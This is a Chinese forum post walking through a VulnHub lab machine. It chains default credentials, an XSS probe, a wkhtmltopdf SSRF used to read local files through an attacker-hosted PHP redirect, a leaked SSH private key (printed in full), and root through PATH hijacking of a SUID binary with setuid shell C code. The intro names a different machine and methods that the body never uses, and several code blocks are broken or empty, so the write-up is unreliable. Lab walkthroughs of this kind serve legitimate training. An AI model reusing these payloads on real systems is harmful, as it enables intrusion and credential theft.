第二十一次打靶

打印 上一主题 下一主题

主题 852|帖子 852|积分 2556

靶机介绍

1)靶机地址:https://download.vulnhub.com/ha/narak.ova
2)靶机难度:中
3)打靶目标:  取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、端口扫描、信息收集、密码字典定制、爆破密码、webdav漏洞、PUT方法上传、BF语言解码、MOTD注入、CVE-2021-3493提权
5)靶机简介:由于人脑的思维方式,我们不太能够记住毫无关联的一串字符组合,因此我们在设置自己帐号的密码时,通常还是会基于某些自己已知的信息,来变形组合形成自己的密码。因此在美剧《黑客军团》中,我们看到男主曾利用信息收集,生成某人的专属密码字典,并以此控制了对方的电子邮件。这种方法不仅适用于个人,对于企业系统往往也非常有效。本次打靶就会利用定制密码字典的方法,突破靶机的身份认证机制,并结合WEBDAV漏洞上传WEBSHELL,从而实现对目标靶机的边界突破。在本地提权阶段,使用两种方法。其中一种方法需要结合靶机的权限漏洞和某种小众编程语言的解码,才能最终完成。
6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机
打靶过程

1)主机发现
  1. # arp-scan -l
复制代码

2)全端口扫描
  1. # nmap -p- 172.24.10.133
复制代码

3)服务版本扫描
  1. # nmap -p1337,3306 -sC -sV 172.24.10.133
复制代码

4)通过浏览器访问靶机的80端口,返回的是一个test2的文件列表,打开test2返回的是如下的页面

​        根据页面提示可知,该网站主要用来给员工查看自己的配置文件,也支持将配置文件导出,且该CMS是使用开源的项目进行搭建,并且给出了开源项目的地址。通过访问页面源代码也未发现有价值信息
​        在打开页面时,浏览器一直在加载页面资源,可通过burp查看,具体是哪个资源没有请求成功,导致浏览器一直处于加载状态
​        默认情况下,加载jpg、png、css、js文件时,是不会截断的,此处将勾选去掉,使的burp同样支持这些资源的阶段。同时拦截返回的数据包

5)通过在burp抓取数据包,发现该网站请求了google上的一个js文件,因国内无法直接访问google,导致页面处于加载中

6)在本机启动clash代理(会在本地监听一个7891端口),将服务器的请求,通过Burp发送到代理

此时可将所有的页面资源全部加载出来,同时可点击页面右上方的Login按钮

7)打开页面提示的开源CMS项目所在的github的地址,在其中的install.php中找到了一个用户名admin和密码1234
地址:https://github.com/mihai-vlc/master-login-system

8)通过默认的用户名和密码在web页面登录,发现可以正常登录

页面返回welcome admin说明已经登录成功,在左上角出现一个admin的选项,该选项点击后选择profile,可查看admin用户的配置信息以及可以进行修改

9)在Edit profile中对admin用户的邮箱地址进行修改,提交后,发现会将邮箱地址,原样的显示到页面上


根据该显示可猜测此处是否存在XSS漏洞(当从客户端提交什么样的内容,那么服务端就会原样的返回)。通过多次测试发现,在邮箱中提交js代码,会进行过滤,但是在Display name中提交js代码,不会进行过滤


通过上述测试,确定存在XSS漏洞,且返回弹窗后,在URL中出现一个参数,对其进行SQL注入测试
  1. http://172.24.10.133/test2/profile.php?u=1'
  2. http://172.24.10.133/test2/profile.php?u=1' and 1=1 --
  3. http://172.24.10.133/test2/profile.php?u=1' and 1=2 --
复制代码
通过测试,发现此处并不存在SQL注入
10)对目标靶机web进行路径爬取
  1. # dirsearch -u http://172.24.10.133
复制代码

访问扫描出的页面,发现只是一个apache的页面,在该页面无可利用的有价值信息

11)返回登录页面,继续进行信息搜集,发现一个导出配置的功能,可将当前admin用户的配置信息导出


  • 已下载的配置文件pdf不会对打靶有任何的帮助,但是查看该文档属性时,可以看到该pdf文件是由服务端的wkhtmltopdf组件生成的。(即将html文件信息->转化为pdf文件)

通过搜索发现wkhtmltopdf组件是一个命令行的工具,且存在一个文件包含漏洞

通过wkhtmltopdf组件可以读取或者加载网络上或着本地的资源及元数据信息


13)尝试在第九步中的display name中输入ifname标签,读取本地文件信息
  1. [/code][img]https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163632021-1384825727.png[/img]
  2. 返回首页后,无任何信息变化
  3. 13)尝试在第九步中的display name中输入ifname标签,读取网络资源信息
  4. ①现在kali主机启动httpd服务
  5. [code]# systemctl restart apache2
  6. # echo test123 > /var/www/html/test.txt
复制代码

②在web系统修改admin的配置信息从,插入payload

此处在首页面可查看到返回的信息,确认此处存在SSRF漏洞
14)参考如下文档,发现,需要现在攻击者的web服务器中防放置一个php的代码,然后再在目标靶机的web系统中(第九步)引用,让这段php代码在靶机中去执行,执行完成后,就可以读取靶机本地的文件
参考链接:http://hassankhanyusufzai.com/SSRF-to-LFI/
①先在kali主机生成文件
  1. # cat /var/www/html/payload.php
  2. <?php header('location:file://'.$_REQUEST['url']); ?>
复制代码
②在目标靶机的web系统中(第九步)通过payload.php的url参数查看本地文件信息。保存配置
  1. [/code]③导出配置时才会激活wkhtmltopdf组件,查看pdf文件,发现已经可以查看到/etc/passwd的信息,SSRF漏洞利用成功
  2. [img]https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163703206-269802759.png[/img]
  3. ④通过检查发现,存在一个可供登录的普通用户gemini1
  4. [img]https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163709561-1149643709.png[/img]
  5. 注:通过测试发现,该漏洞只能实现文件的读取,不能实现命令执行
  6. 15)通过在github查看CMS源代码,发现存在一个setting.php文件,该文件中存在数据库的配置信息
  7. [img]https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163717874-1461394272.png[/img]
  8. 16)通过SSRF漏洞,查看靶机web系统的数据库信息
  9. [code]
复制代码

上述源码信息,对突破边界并没有实际的作用
17)通过用户文件可知靶机存在gemini1用户,并可知该用户的家目录,通过SSRF漏洞,查看该用户是否使用了ssh公钥身份认证信息,如果使用了公钥身份认证,那么就会存在/home/gemini1/.ssh/id_rsa文件或者/home/gemini1/.ssh/id_rsa.pub文件,及authorized_keys文件,那么就可以通过获取私钥,登录目标服务器
  1. [/code]①将上述文件输入至第13步的display标签中,保存成功,再将配置文件导出,生成的配置文件中包含了id_rsa。说明在目标靶机存在ssh的公钥和私钥信息
  2. [img]https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163740468-375416105.png[/img]
  3. ②查看目标服务器是否存在authorized_keys文件,如果文件存在,且该文件内容和公钥文件内容一致,即该公私可完成基于密钥的ssh认证登录。
  4. [code]
复制代码

③结果显示,该authorized_keys文件存在,说明目标靶机是允许某个账号通过公钥登录目标靶机。查看公钥文件内容
  1. [/code][img]https://img2023.cnblogs.com/blog/2180585/202303/2180585-20230303163756385-555884544.png[/img]
  2. ④发现公钥文件id_rsa.pub内容和authorized_keys文件内容一致,说明即可通过账号gemini1,和私钥远程登陆只目标靶机。先将私钥保存至kali主机
  3. [code]# cat id_rsa
  4. -----BEGIN RSA PRIVATE KEY-----
  5. MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs
  6. 6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u
  7. Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V
  8. u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z
  9. DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p
  10. oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY
  11. WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD
  12. eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM
  13. QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ
  14. rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR
  15. MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn
  16. 1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI
  17. xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC
  18. 1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY
  19. AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl
  20. aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu
  21. 968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9
  22. r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco
  23. tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7
  24. WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp
  25. U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk
  26. SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h
  27. JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh
  28. vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt
  29. j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k=
  30. -----END RSA PRIVATE KEY-----
  31. # chmod 400 id_rsa
  32. # ssh -i id_rsa gemini1@172.24.10.134
复制代码

18)对目标靶机进行信息搜集:查看内核版本、sudo权限配置,均无法成功提权

19)查看属主为root,且存在suid权限及可执行权限的文件
  1. $ find / -user root -type f -perm -u+sx -ls 2>/dev/null
复制代码

①根据上图显示,存在一个listinfo的文件,查看文件类型发现是一个可执行文件,且该文件执行后,会显示一些系统命令的输出信息
  1. $ file /usr/bin/listinfo
  2. $ /usr/bin/listinfo
复制代码

②利用strings命令打印/usr/bin/listinfo文件中可打印的字符串,发现上述输出信息,都是调用的系统命令来执行

20)ifconfig、netstat命令都使用了绝对绝对路径,但是date命令使用的是环境变量调用,所以可以在本地编译一段提权代码,修改文件名为date,再修改环境变量。最后执行/usr/bin/listinfo来获取到root权限
①编辑提权代码
  1. $ cat date.c
  2. #include <sys/types.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. int main(){
  6.   setuid(0);
  7.   setgid(0);
  8.   system("/bin/bash");
  9. }
复制代码
②将C语言代码进行编译
  1. $ gcc date.c -o date
  2. $ ls -l date
  3. -rwxr-xr-x 1 gemini1 gemini1 8736 Mar  3 08:52 date
复制代码
③修改环境变量,使得/usr/bin/listinfo执行时,优先使用/home/gemini1路径下的date命令
  1. $ pwd
  2. /home/gemini1
  3. $ echo $PATH
  4. /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
  5. $ export PATH=/home/gemini1:$PATH
  6. $ /usr/bin/listinfo
复制代码

④执行/usr/bin/listinfo命令。提权,获取到flag
  1. $ /usr/bin/listinfo
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

冬雨财经

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表